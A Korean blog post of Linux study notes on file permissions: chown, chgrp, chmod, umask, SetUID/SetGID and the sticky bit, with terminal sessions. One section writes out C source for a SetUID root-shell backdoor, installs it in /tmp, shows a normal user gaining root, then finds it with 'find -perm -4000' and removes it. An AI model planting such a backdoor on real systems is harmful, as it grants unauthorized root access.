권한

oogu ㅣ 2022. 4. 7. 09:50

@ 리눅스 퍼미션

 - 퍼미션이란 리눅스 사용자들이 디렉토리 및 파일에 대한 읽기/쓰기/실행에 관련된 권한을 의미한다.

            퍼미션 10진수(8진수)              파일                                 디렉토리

읽기(r : read)    4           파일 안에 있는 내용을 볼수 있다. 디렉토리 안에 있는 내용을 볼수 있다.
                                                  Ex) cat, vi                               Ex) ls

쓰기(w : write) 2 파일 안에 있는 내용을 수정할 수 있다. 디렉토리 안에 있는 내용을 수정할 수 있다.
                                              Ex) 편집기, >, >>        Ex) 파일/디렉토리 이름 변경, 파일/디렉토리 생성/삭제/이동

실행(x : execute) 1                 파일을 실행할 수 있다.            디렉토리를 접근할 수 있다.
                                                  Ex) ./testfile                              Ex) cd

거부(- :denied) 0                            권한 X                                    권한 X


dir1
           file1
EX) file1을 수정하려면, dir1 디렉토리, file1 파일에 각각 필요한 최소 권한은 무엇인가?

EX) file1을 삭제하려면 dir1과 file1에 필요한 최소 권한은 무엇인가?



 - 퍼미션 표기 방식

2^2 2^1 2^0
4 2 1
r w x

[root@Client1 /root]# cd
[root@Client1 /root]# mkdir test
[root@Client1 /root]# cd test
[root@Client1 /root/test]# echo "Hello Linux" > testfile
[root@Client1 /root/test]# 
[root@Client1 /root/test]# useradd test
[root@Client1 /root/test]# chmod 764 testfile
[root@Client1 /root/test]# 
[root@Client1 /root/test]# chown test testfile
[root@Client1 /root/test]# 
[root@Client1 /root/test]# ls -l testfile
-rwxrw-r--. 1 test root 12 2020-12-29 19:12 testfile

- 파일
rwx 소유자(owner) 파일의 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능하다.
rw- 그룹(group) 같은 그룹의 사용자는 'testfile'에 대해서 읽기/쓰기만 가능하다.
r-- 다른사용자(other) 다른 사용자는 'testfile'에 대해서 읽기만 가능하다.

[root@Client1 /root/test]# rm -rf testfile


1. 'chown' 명령어

 - 파일의 소유자 및 그룹을 변경할 때 사용하는 명령어

[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:22 file1
 
[root@Client1 /root/test]# chown user1 file1
[root@Client1 /root/test]# ls -l file1      
-rw-r--r--. 1 user1 root 0 2020-12-29 19:22 file1

[root@Client1 /root/test]# chown .user1 file1
[root@Client1 /root/test]# ls -l file1       
-rw-r--r--. 1 user1 user1 0 2020-12-29 19:22 file1

[root@Client1 /root/test]# chown user2.user2 file1 -> 소유자, 그룹 한 번에 변환
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 user2 user2 0 2020-12-29 19:22 file1

[root@Client1 /root/test]# chown root.root file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:22 file1

[root@Client1 /root/test]# rm -rf file1


 - 현재 및 하위 디렉토리와 하위 파일들의 소유자 및 그룹을 한번에 변경할 경우

[root@Client1 /root/test]# mkdir -p dir1/dir2/dir3
[root@Client1 /root/test]# touch dir1/file1
[root@Client1 /root/test]# touch dir1/file2

[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root root 4096 2020-12-29 19:29 dir1

[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root root 4096 2020-12-29 19:28 dir2
-rw-r--r--. 1 root root    0 2020-12-29 19:28 file1
-rw-r--r--. 1 root root    0 2020-12-29 19:29 file2

dir1/dir2:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 19:28 dir3

dir1/dir2/dir3:
합계 0

[root@Client1 /root/test]# chown -R user1.user1 dir1 -> dir1 부터 바꿈
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 user1 user1 4096 2020-12-29 19:29 dir1

[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 user1 user1 4096 2020-12-29 19:28 dir2
-rw-r--r--. 1 user1 user1    0 2020-12-29 19:28 file1
-rw-r--r--. 1 user1 user1    0 2020-12-29 19:29 file2

dir1/dir2:
합계 4
drwxr-xr-x. 2 user1 user1 4096 2020-12-29 19:28 dir3

dir1/dir2/dir3:
합계 0

[root@Client1 /root/test]# rm -rf dir*


2. 'chgrp' 명령어 -> chown을 사용하자

 - 파일의 그룹을 변경할 때 사용하는 명령어

[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:38 file1

[root@Client1 /root/test]# chgrp user1 file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root user1 0 2020-12-29 19:38 file1

[root@Client1 /root/test]# rm -rf file1


 - 현재 및 하위 디렉토리와 하위 파일들의 그룹을 한번에 변경할 경우

[root@Client1 /root/test]# mkdir -p dir1/dir2/dir3
[root@Client1 /root/test]# touch dir1/file1 dir1/file2
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root root 4096 2020-12-29 19:42 dir1

[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root root 4096 2020-12-29 19:42 dir2
-rw-r--r--. 1 root root    0 2020-12-29 19:42 file1
-rw-r--r--. 1 root root    0 2020-12-29 19:42 file2

dir1/dir2:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 19:42 dir3

dir1/dir2/dir3:
합계 0

[root@Client1 /root/test]# chgrp -R user1 dir1
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root user1 4096 2020-12-29 19:42 dir1

[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root user1 4096 2020-12-29 19:42 dir2
-rw-r--r--. 1 root user1    0 2020-12-29 19:42 file1
-rw-r--r--. 1 root user1    0 2020-12-29 19:42 file2

dir1/dir2:
합계 4
drwxr-xr-x. 2 root user1 4096 2020-12-29 19:42 dir3

dir1/dir2/dir3:
합계 0

[root@Client1 /root/test]# rm -rf dir*


3. 'chmod' 명령어

 - 파일 및 디렉토리 권한을 변경하는 명령어
 - 파일 및 디렉토리 권한을 갖고 있는 소유자만 사용 가능함, 단 root 계정은 사용 가능함
 - 심볼릭 모드, 수치 모드

 1) 심볼릭 모드

사용자 기호

u user 파일 및 디렉토리 소유자
g group 파일 및 디렉토리 그룹
o other 다른 사용자
a all 소유자, 드룹, 다른 사용자

설정 기호

+ 퍼미션 추가
- 퍼미션 제거
= 퍼미션 변경

권한 기호

r read 읽기 권한
w write 쓰기 권한
x excute 실행 권한
- denied 권한 없음

실행 권한

실행 권한 O 실행 권한 X

파일 실행 파일 일반 문서 파일
디렉토리 접근 가능 접근 불가능

[참고] 파일 수정 작업에 필요한 권한

 - 파일에 읽기 권한이 없다면, 파일 내용을 열어서 확인할 수 없기 때문에 수정 작업이 불가능하다.
 - 파일에 쓰기 권한이 없다면, 파일을 수정할 수 없기 때문에 수정 작업이 불가능하다.
 - 파일 수정 작업이 가능하려면 읽기/쓰기 권한이 있어야 한다.

[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# chmod u+x file1
[root@Client1 /root/test]# ls -l file1
-rwxr--r--. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# chmod g+w file1
[root@Client1 /root/test]# ls -l
합계 0
-rwxrw-r--. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# chmod u-x,g-w file1
[root@Client1 /root/test]# ls -l
합계 0
-rw-r--r--. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# chmod u-w,g-r,o-r file1
[root@Client1 /root/test]# ls -l
합계 0
-r--------. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# chmod a=rwx file1 
[root@Client1 /root/test]# ls -l
합계 0
-rwxrwxrwx. 1 root root 0 2020-12-29 20:08 file1

[root@Client1 /root/test]# rm -rf file1

Ex) 'testfile'을 생성하여 소유자 'user1', 그룹 'user1'으로 변경한다. 그리고 다음과 같은 권한을 부여한다.

 - 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능해야한다.
 - 그룹은 'testfile'에 대해서 읽기/쓰기만 가능해야 한다.
 - 다른 사용자는 읽기/쓰기/실행이 불가능해야 한다.

[root@Client1 /root/test]# touch testfile
[root@Client1 /root/test]# chown user1.user1 testfile
[root@Client1 /root/test]# ls -l testfile
-rw-r--r--. 1 user1 user1 0 2020-12-29 20:26 testfile

[root@Client1 /root/test]# chmod u+x,g+w,o-r testfile
[root@Client1 /root/test]# ls -l testfile
-rwxrw----. 1 user1 user1 0 2020-12-29 20:26 testfile

[root@Client1 /root/test]# rm -rf testfile

 
 2) 수치 모드

소유자 그룹 다른 사용자

r       w       x r       w       x r       w       x
2^2  2^1   2^0 2^2  2^1   2^0 2^2  2^1   2^0
4      2        1 4      2        1 4      2        1

소유자 그룹 다른 사용자
777 rwx rwx rwx
764 rwx rw- r--
757 rwx r-x rwx
755 rwx r-x r-x
754 rwx r-x r--
744 rwx r-- r--
722 rwx -w- -w-
700 rwx --- ---
664 rw- rw- r--
646 rw- r-- rw-
644 rw- r-- r--

[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 20:43 file1

[root@Client1 /root/test]# chmod 744 file1
[root@Client1 /root/test]# ls -l file1
-rwxr--r--. 1 root root 0 2020-12-29 20:43 file1

[root@Client1 /root/test]# chmod 754 file1
[root@Client1 /root/test]# ls -l file1
-rwxr-xr--. 1 root root 0 2020-12-29 20:43 file1

[root@Client1 /root/test]# rm -rf file1

Ex) 'testfile'을 생성하여 소유자 'user1', 그룹 'user1'으로 변경한다. 그리고 다음과 같은 권한을 부여한다.

 - 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능해야한다.
 - 그룹은 'testfile'에 대해서 읽기/쓰기만 가능해야 한다.
 - 다른 사용자는 읽기/쓰기/실행이 불가능해야 한다.

[root@Client1 /root/test]# touch testfile
[root@Client1 /root/test]# chown user1.user1 testfile
[root@Client1 /root/test]# ls -l
합계 0
-rw-r--r--. 1 user1 user1 0 2020-12-29 20:48 testfile

[root@Client1 /root/test]# chmod 760 testfile
[root@Client1 /root/test]# ls -l testfile
-rwxrw----. 1 user1 user1 0 2020-12-29 20:48 testfile

[root@Client1 /root/test]# rm -rf testfile


4. 파일 및 디렉토리 퍼미션 이해

파일 퍼미션
r read 파일을 읽을 수 있다.
w write 파일을 수정할 수 있다.
x execute 파일을 실행할 수 있다.

디렉토리 퍼미션
r read 디렉토리 안에서 ls 명령어를 수행할 수 있다.
w write 디렉토리 안의 파일을 생성/삭제할 수 있다.
x execute 디렉토리를 'cd' 명령어로 이동할 수 있다.

 
 - user2에서 진행

[user2@Client1 /home/user2]$ ls -ld /home/user2
drwx------. 4 user2 user2 4096 2020-12-22 21:26 /home/user2
  7   0   0

[user2@Client1 /home/user2]$ 
[user2@Client1 /home/user2]$ mkdir dir1
[user2@Client1 /home/user2]$ touch dir1/file1
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxrwxr-x. 2 user2 user2 4096 2020-12-29 21:03 dir1
  7   7   5

./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
 6   6   4

 - user1에서는 '/home/user2' 디렉토리 접근 및 파일 생성/삭제 불가능

[user1@Client1 /home/user1]$ cd /home/user2
-bash: cd: /home/user2: 허가 거부

[user1@Client1 /home/user1]$ cd /home/user2/dir1
-bash: cd: /home/user2/dir1: 허가 거부

[user1@Client1 /home/user1]$ touch /home/user2/dir1/file2
touch: cannot touch `/home/user2/dir1/file2': 허가 거부

[user1@Client1 /home/user1]$ rm -rf /home/user2/dir1/file1
rm: cannot remove `/home/user2/dir1/file1': 허가 거부


 - user2에서 진행

[user2@Client1 /home/user2]$ chmod 757 /home/user2
[user2@Client1 /home/user2]$ ls -ld /home/user2
drwxr-xrwx. 5 user2 user2 4096 2020-12-29 21:03 /home/user2
  7   5   7

[user2@Client1 /home/user2]$ chmod 755 dir1
[user2@Client1 /home/user2]$ touch dir1/file2
[user2@Client1 /home/user2]$ chmod 646 dir1/file2
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
  7   5   5

./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
 6   6   4

-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2
 6   4   6

 
 - user1에서는 '/home/user2' 디렉토리 접근 및 파일/디렉토리 생성/삭제 가능

[user1@Client1 /home/user1]$ cd /home/user2
[user1@Client1 /home/user2]$ touch file3
[user1@Client1 /home/user2]$ ls -l
합계 4
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
-rw-rw-r--. 1 user1 user1    0 2020-12-29 21:14 file3
[user1@Client1 /home/user2]$ mkdir dir2
[user1@Client1 /home/user2]$ ls -l
합계 8
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
drwxrwxr-x. 2 user1 user1 4096 2020-12-29 21:14 dir2
-rw-rw-r--. 1 user1 user1    0 2020-12-29 21:14 file3
[user1@Client1 /home/user2]$ 
[user1@Client1 /home/user2]$ rm -rf file3
[user1@Client1 /home/user2]$ rm -rf dir2


 - user1에서는 '/home/user2/dir1' 디렉토리 접근 가능, 단 파일/디렉토리 생성/삭제 가능

[user1@Client1 /home/user2]$ cd /home/user2/dir1
[user1@Client1 /home/user2/dir1]$ touch file3
touch: cannot touch `file3': 허가 거부

[user1@Client1 /home/user2/dir1]$ mkdir dir2
mkdir: `dir2' 디렉토리를 만들 수 없습니다: 허가 거부

[user1@Client1 /home/user2/dir1]$ ls -l
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2

[user1@Client1 /home/user2/dir1]$ rm -rf file1
rm: cannot remove `file1': 허가 거부

[user1@Client1 /home/user2/dir1]$ rm -rf file2
rm: cannot remove `file2': 허가 거부


 - user2에서 진행

[user2@Client1 /home/user2]$ chmod 757 dir1
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxr-xrwx. 2 user2 user2 4096 2020-12-29 21:07 dir1
  7   5   7

./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2


 - user1에서는 '/home/user2/dir1' 디렉토리 접근 및 파일/디렉토리 생성/삭제 가능

[user1@Client1 /home/user2/dir1]$ cd
[user1@Client1 /home/user1]$ 
[user1@Client1 /home/user1]$ cd /home/user2/dir1
[user1@Client1 /home/user2/dir1]$ touch file3
[user1@Client1 /home/user2/dir1]$ mkdir dir2
[user1@Client1 /home/user2/dir1]$ ls -l
합계 4
drwxrwxr-x. 2 user1 user1 4096 2020-12-29 21:23 dir2
-rw-rw-r--. 1 user2 user2    0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2    0 2020-12-29 21:07 file2
-rw-rw-r--. 1 user1 user1    0 2020-12-29 21:23 file3

[user1@Client1 /home/user2/dir1]$ rm -rf file*
[user1@Client1 /home/user2/dir1]$ rm -rf dir2
[user1@Client1 /home/user2/dir1]$ cd

 - root에서 진행

[root@Client1 /root/test]# rm -rf /home/user2/dir1


5. 'umask' -> 쓰기 권한을 없애버림(그룹,아더)

 - 파일 및 디렉토리 생성시 기본 퍼미션 값을 조정하는 기능을 수행한다. 

[root@Client1 /root/test]# umask
0022

루트 계정은 0022
일반 계정은 0002

파일 디렉토리

기본 퍼미션 666 777
umask - 022 - 022
생성시 퍼미션 644 755

[root@Client1 /root/test]# ls -lR
.:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 21:31 dir1
  7   5  5  

-rw-r--r--. 1 root root    0 2020-12-29 21:31 file1
 6   4  4

./dir1:
합계 0

[root@Client1 /root/test]# rm -rf dir1
[root@Client1 /root/test]# rm -rf file1

 - umask 변경 방법

[root@Client1 /root/test]# umask 002
[root@Client1 /root/test]# umask
0002

[root@Client1 /root/test]# umask 022
[root@Client1 /root/test]# umask
0022


6. SetUID/SetGID - 실습 whereis chsh

 

 - 일반 계정이 SetUID가 설정된 파일을 실행하면, 그 파일의 소유자 권한을 할당해주는 기능을 수행하는 특수 권한이다. 

 - 예를 들어 root 계정으로 'usermod' 명령어를 이용하면 계정에 대한 홈 디렉토리 및 쉘 유형을 변경할 수 있다. 
 - 이때 변경된 내용은 '/etc/passwd' 파일에 설정된다. 


질문
 -rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh 
chsh 실행파일에 other 권한에서 x(excute)가 있어서 user1에서도 실행가능한거 아닌가..?

해결

user1에서 chsh 치면 chsh 명령어 other 권한에 x(excute)가 있기때문에 허가거부가 안뜬다. 근데 chsh명령어는 shell을 입력받아 /etc/shadow에 기록을 해야한다. 근데 /etc/shadow 권한은 아무 것도 없다. 즉 other에 w(write)가 없기 떄문에 user1은 결국 shell을 바꾸지 못한다. 근데 chsh 명령어는 SetUID가 설정되어 있어 chsh 명령어가 실행되는 동안 root 소유권을 얻게 된다. 따라서 /etc/shadow 파일에 root 권한으로 기록할 수 있게 된다. (root은 rwx 권한이 없어도 할 수 있다,)


 - 파일에 대한 소유권을 다른 사용자에게 할당하여, 소유자가 아닌 사용자도 파일에 소유권을 갖게 할 수 있는 기능을 수행하는 특수권한이다.

find / -perm -4000 2> /dev/null 
SetUID가 설정된 파일을 찾는 명령어

시스템 보안정검할때 본다.

특수 권한 소유자 그룹 다른 사용자

SetUID SetGID Sticky bit r  w  x r  w  x r  x  x 
2^2 2^1 2^0
4 2 1

SetUID SetGID Sticky bit
4nnn 2nnn 1nnn
--s --- --- --- --s --- --- --- --t 실행(x)가 있는 경우, 소문자 표기
--S --- --- --- --S --- --- --- --T 실행(x)가 없는 경우, 대문자 표기

s가 나온다는건 SetUID가 설정 됬다는 뜻이다. 근데 S이면 실행권이 업고 s이면 실행권한이 있다.


[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 21:37 file1

[root@Client1 /root/test]# chmod 4755 file1
[root@Client1 /root/test]# ls -l file1
-rwsr-xr-x. 1 root root 0 2020-12-29 21:37 file1

[root@Client1 /root/test]# chmod 4655 file1 
[root@Client1 /root/test]# ls -l file1
-rwSr-xr-x. 1 root root 0 2020-12-29 21:37 file1

[root@Client1 /root/test]# chmod 2755 file1
[root@Client1 /root/test]# ls -l file1
-rwxr-sr-x. 1 root root 0 2020-12-29 21:37 file1

[root@Client1 /root/test]# chmod 2765 file1
[root@Client1 /root/test]# ls -l file1     
-rwxrwSr-x. 1 root root 0 2020-12-29 21:37 file1

[root@Client1 /root/test]# rm -rf file1

[root@Client1 /root]# mkdir /test
[root@Client1 /root]# ls -ld /test
drwxr-xr-x. 2 root root 4096 2020-12-31 19:12 /test


 - user1에서 진행

[user1@Client1 /home/user1]$ cd /test
[user1@Client1 /test]$ 
[user1@Client1 /test]$ usermod -s /bin/csh user1
-bash: /usr/sbin/usermod: 허가 거부
[user1@Client1 /test]$ 
[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/bash]: /bin/csh
Shell changed.

[user1@Client1 /test]$ cat /etc/passwd | grep ^user1
user1:x:500:500::/home/user1:/bin/csh

 - root에서 진행

[root@Client1 /root]# whereis chsh 
chsh: /usr/bin/chsh /usr/share/man/man1/chsh.1.gz

[root@Client1 /root]# ls -l /usr/bin/chsh
-rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh

[root@Client1 /root]# chmod u-s /usr/bin/chsh
[root@Client1 /root]# ls -l /usr/bin/chsh    
-rwx--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh

 - user1에서 진행

[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/csh]: /bin/bash
setpwnam: 허가 거부
Shell *NOT* changed.  Try again later.

 - root에서 진행

[root@Client1 /root]# chmod u+s /usr/bin/chsh
[root@Client1 /root]# ls -l /usr/bin/chsh        
-rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh

[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/csh]: /bin/bash
Shell changed.

[참고] SetUID가 설정된 파일 검색

find / -perm -4000 2> /dev/null

 

[참고] 'setuid'를 이용한 백도어 구성

 - root 계정으로 다음과 같이 백도어 실행 프로그램을 제작한다.

[root@Client1 /root]# cd /tmp
[root@Client1 /tmp]# vi backdoor.c

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() 
{
setuid(0); // root ip -> 이걸 설정하려면 root 권한이 있어야한다. 따라서 setuid가(root) 필요
setgid(0); // root id
system("/bin/bash");
return 0;
}

:wq


[root@Client1 /tmp]# yum -y install gcc

[root@Client1 /tmp]# gcc -o bashshell backdoor.c 
[root@Client1 /tmp]# ls -l bashshell 
-rwxr-xr-x. 1 root root 18192 2022-05-27 17:02 bashshell

[root@Client1 /tmp]# chmod 4755 bashshell 
[root@Client1 /tmp]# 
[root@Client1 /tmp]# ls -l bashshell 
-rwsr-xr-x. 1 root root 18192 2022-04-07 17:18 bashshell

[root@Client1 /tmp]# cd
[root@Client1 /root]# 


 - user1 계정으로 접속하여 'bashshell' 파일을 실행하여 root 계정으로 권한이 상승되는지 확인한다.

[user1@Client1 /home/user1]$ cd /tmp
[user1@Client1 /tmp]$ ls -l bashshell 
-rwsr-xr-x. 1 root root 18192 2022-04-07 17:18 bashshell

권한이 root로 상승되었다.

[root@Client1 /tmp]$ exit
exit

[user1@Client1 /tmp]$ cd
[user1@Client1 /home/user1]$ 


 - root 계정에서 setuid가 설정된 불필요한 파일이 있는지 확인하고 삭제한다.

[root@Client1 /tmp]# find / -perm -4000 2> /dev/null
/usr/bin/fusermount3
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
/usr/bin/at
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/qemu-bridge-helper
/usr/libexec/Xorg.wrap
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/proxy_child
/usr/libexec/sssd/selinux_child
/usr/libexec/cockpit-session
/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
/tmp/bashshell

[root@Client1 /root]# rm -rf /tmp/bashshell



7. Sticky bit

 - 파일 쓰기 권한이 없어도 디렉토리 쓰기 권한이 있는 경우, 디렉토리 권한에 의해서 파일을 삭제할 수 있다.
 - 만약, 특정 디렉토리를 공용 디렉토리 목적으로 사용할 경우, 사용자들에 의해서 파일을 생성할 수 있으나, 파일을 수정/삭제할 수 없도록 제한   할 경우 사용하는 기능이다.

  - Sticky bit는 디렉토리 퍼미션이 '777'인 경우 사용할 수 있다.

  - Sticky bit 디렉토리에서 user1이 만든 건 user2가 지울 수 없다.
  - rwx rwx rwx -> 다 지울 수 있음
  - rwx rwx rwt -> 자기거만 지울 수 있음

[root@Client1 /root]# cd
[root@Client1 /root]# mkdir test
[root@Client1 /root]# cd test
[root@Client1 /root/test]# mkdir dir1
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 2 root root 4096 2020-12-31 19:30 dir1

[root@Client1 /root/test]# chmod 1777 dir1
[root@Client1 /root/test]# ls -ld dir1
drwxrwxrwt. 2 root root 4096 2020-12-31 19:30 dir1

[root@Client1 /root/test]# chmod 1776 dir1
[root@Client1 /root/test]# ls -ld dir1    
drwxrwxrwT. 2 root root 4096 2020-12-31 19:30 dir1

[root@Client1 /root/test]# chmod 1001 dir1  
[root@Client1 /root/test]# ls -ld dir1    
d--------t. 2 root root 4096 2020-12-31 19:30 dir1
 
[root@Client1 /root/test]# chmod 1000 dir1
[root@Client1 /root/test]# ls -ld dir1    
d--------T. 2 root root 4096 2020-12-31 19:30 dir1

[root@Client1 /root/test]# rm -rf dir1


 - Sticky bit가 설정된 대표적인 디렉토리는 /tmp 가 있다.

[root@Client1 /root/test]# ls -ld /tmp
drwxrwxrwt. 10 root root 4096 2020-12-31 19:30 /tmp

 - user2에서 진행

[user2@Client1 /home/user2]$ cd /tmp
[user2@Client1 /tmp]$ mkdir stickybit
[user2@Client1 /tmp]$ echo 1111 > file1
[user2@Client1 /tmp]$ echo 2222 > stickybit/file2
[user2@Client1 /tmp]$ ls -l | grep user2
-rw-rw-r--. 1 user2 user2    5 2020-12-31 19:38 file1
drwxrwxr-x. 2 user2 user2 4096 2020-12-31 19:38 stickybit

 - user1에서 진행

[user1@Client1 /test]$ cd /tmp
[user1@Client1 /tmp]$ mkdir linux
[user1@Client1 /tmp]$ echo 3333 > file3
[user1@Client1 /tmp]$ echo 4444 > linux/file4
[user1@Client1 /tmp]$ ls -l | grep user1
-rw-rw-r--. 1 user1 user1    5 2020-12-31 19:41 file3
drwxrwxr-x. 2 user1 user1 4096 2020-12-31 19:41 linux

 - user2에서 user1이 생성한 디렉토리 및 파일 삭제 및 수정이 가능한지 확인

[user2@Client1 /tmp]$ rm -rf linux
rm: cannot remove `linux/file4': 허가 거부

[user2@Client1 /tmp]$ rm -rf file3
rm: cannot remove `file3': 명령을 허용하지 않음

[user2@Client1 /tmp]$ rm -rf linux/file4
rm: cannot remove `linux/file4': 허가 거부

[user2@Client1 /tmp]$ echo 5555 >> linux/file4
-bash: linux/file4: 허가 거부

 - user1에서 user2가 생성한 디렉토리 및 파일 삭제 및 수정이 가능한지 확인

[user1@Client1 /tmp]$ rm -rf stickybit
rm: cannot remove `stickybit/file2': 허가 거부

[user1@Client1 /tmp]$ rm -rf file1
rm: cannot remove `file1': 명령을 허용하지 않음

[user1@Client1 /tmp]$ rm -rf stickybit/file2
rm: cannot remove `stickybit/file2': 허가 거부

[user1@Client1 /tmp]$ echo 0000 >> stickybit/file2
-bash: stickybit/file2: 허가 거부

 - root에서 진행

[root@Client1 /root/test]# rm -rf /tmp/file* /tmp/stickybit /tmp/linux

[참고] Sticky bit가 설정된 파일 검색

find / -perm -1000 2> /dev/null








참고 


백스페이스(<-)를 눌렀을 때 ^H 가 뜨면 ctrl + 백스페이스 로 지우자!














 

'리눅스' 카테고리의 다른 글

프로세스 관리  (0) 2022.05.30
리눅스 shell  (0) 2022.05.30
vi, vim 편집기  (0) 2022.04.03
압축 및 아카이빙  (0) 2022.04.03
리눅스 계정  (0) 2022.04.03